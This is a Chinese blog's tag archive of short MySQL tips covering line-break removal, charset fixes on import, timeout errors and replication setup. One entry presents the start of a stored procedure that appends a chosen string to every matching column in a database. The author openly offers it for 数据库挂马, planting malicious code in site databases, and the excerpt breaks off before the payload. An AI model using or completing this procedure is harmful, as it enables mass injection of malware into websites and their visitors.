Tag Archives: mysql

mysql去掉隐藏的换行符号

update tb1 set test1= replace(test1 ,"\n\r","") update tb1 set test1= replace(test1 ,"\n","") update tb1 set test1= replace(test1 ,"\r","") \n也可以是用char(10)代替,\n可以用char(13)代替。winhex下0A0D就是换行。 0A是LF(NL line fee, new line) 0D是CR(carriage return) 如果说有换行,输入被调用到js代码中,js是不会忽略换行的,所以js报错:

Tagged | Leave a comment

mysql source命令导入乱码

环境:winxp/mysql 5.5.8 mysql -uroot -pxxxxxx use testdb; source d:/www/testdb.sql 导入很慢,每个row,都有6个warnings。 所有中文全部是问号(乱码) 查看了testdb.sql,发现create table语句后面没有设置default charset, create table `tb1` ( `col1` varchar (45), )ENGINE=MyISAM DEFAULT CHARSET=utf8; 成功导入!且速度很快。

Tagged , | Leave a comment

#2006 – MySQL server has gone away

应用程序(比如PHP)长时间的执行批量的MYSQL语句。执行一个SQL,但SQL语句过大或者语句中含有BLOB或者longblob字段。比如,图片数据的处理。都容易引起MySQL server has gone away。   今天遇到类似的情景,MySQL只是冷冷的说:MySQL server has gone away。   大概浏览了一下,主要可能是因为以下几种原因: 一种可能是发送的SQL语句太长,以致超过了max_allowed_packet的大小,如果是这种原因,你只要修改my.cnf,加大max_allowed_packet的值即可。   还有一种可能是因为某些原因导致超时,比如说程序中获取数据库连接时采用了Singleton的做法,虽然多次连接数据库,但其实使用的都是同一个连接,而且程序中某两次操作数据库的间隔时间超过了wait_timeout(SHOW STATUS能看到此设置),那么就可能出现问题。最简单的处理方式就是把wait_timeout改大,当然你也可以在程序里时不时顺手mysql_ping()一下,这样MySQL就知道它不是一个人在战斗。   解决MySQL server has gone away   1、应用程序(比如PHP)长时间的执行批量的MYSQL语句。最常见的就是采集或者新旧数据转化。 解决方案: 在my.cnf文件中添加或者修改以下两个变量: wait_timeout=2880000 interactive_timeout = 2880000     关于两个变量的具体说明可以google或者看官方手册。如果不能修改my.cnf,则可以在连接数据库的时候设置CLIENT_INTERACTIVE,比如: sql = "set interactive_timeout=24*3600"; mysql_real_query(…)   … Continue reading

Tagged | Leave a comment

mysql挂马存储过程

50刀的业务写了一个mysql批量在指定数据库让所有指定类型的数据附加上指定字符串。当然最广泛的应用就是非常不河蟹的数据库挂马了。 以前写过sqlserver挂马,如果有兴趣可以去看看。此文是mysql的,不要搞错了哦。 代码在此: DELIMITER $$ USE `wp`$$ DROP PROCEDURE IF EXISTS `guama`$$ CREATE DEFINER=`root`@`localhost` PROCEDURE `guama`() BEGIN DECLARE _tbl VARCHAR(100); DECLARE _cl VARCHAR(100); DECLARE notFound INT DEFAULT 0; DECLARE cur CURSOR FOR SELECT table_name,column_name FROM information_schema.columns /* table_schema:指定挂马数据库 , data_type:指定挂马数据类型 … Continue reading

Tagged | Leave a comment

某sql SELECT *,if( 终端号 in ( select 终端号 from online_day_0809),'在线','离线') 状态 FROM `Sheet1`

Posted on by tunpishuang | Leave a comment

在线终端 create table online_0628_11 select * from 0628_11 where 状态='在线';# 影响了 1830 行。 create table online_0628_16 select * from 0628_16 where 状态='在线';# 影响了 1799 行。 create table online_0629_11 select * from 0629_11 where 状态='在线';# 影响了 1843 行。 create table online_0629_16 … Continue reading

Posted on by tunpishuang | Leave a comment

adsl调通是否上线SQL 分别倒入上线表`online`(状态='在线'),区域表(调测结果='调通' ) SELECT adsl.区域,adsl.楼宇名称,adsl.楼层标识,online.楼宇 as 上线否 FROM `九龙坡` adsl   left join online on online.楼宇=adsl.楼宇名称 and online.楼层标识=adsl.楼层标识 where adsl.调测结果='调通' or adsl.调测结果='调通,终端不上线' order by adsl.楼宇名称

Posted on by tunpishuang | 2 Comments

MySQL双机热备份安装和配置   在linux服务器lvs负载均衡、双机热备应用中经常用到mysql双机热备,安装和配置过程如下:   一、 安装MYSQL   # cp mysql-standard-4.1.9-pc-linux-gnu-i686.tar.gz /usr/local/   # tar zxvf mysql-standard-4.1.9-pc-linux-gnu-i686.tar.gz   # mv mysql-standard-4.1.9-pc-linux-gnu-i686 mysql   # cd mysql   # more INSTALL-BINARY       查看安装文档,注意以红色框内为主。   # groupadd mysql (建立mysql组)   # … Continue reading

Posted on by tunpishuang | Leave a comment

mysql将一张表的查询结果存到另一张表中

网上说mysql不支持select into 找了两个方法 answer 01: create table dust select * from student;//用于复制前未创建新表dust的情况下 answer 02: insert into dust select * from student;//已经创建了新表dust的情况下 /来源 实际应用中: INSERT INTO destTable( A )     SELECT a    FROM (    SELECT A AS a, COUNT( A ) AS c    FROM srcTable    WHERE … Continue reading

Tagged | Leave a comment

mysql报错 Got error 28 from storage engine 28错误是磁盘已满,无法读写数据了,每次sql执行的时候应该回写入/tmp目录,df -h 一看/tmp的use%为100%,清除/tmp的多余文件就搞定了。

Posted on by tunpishuang | Leave a comment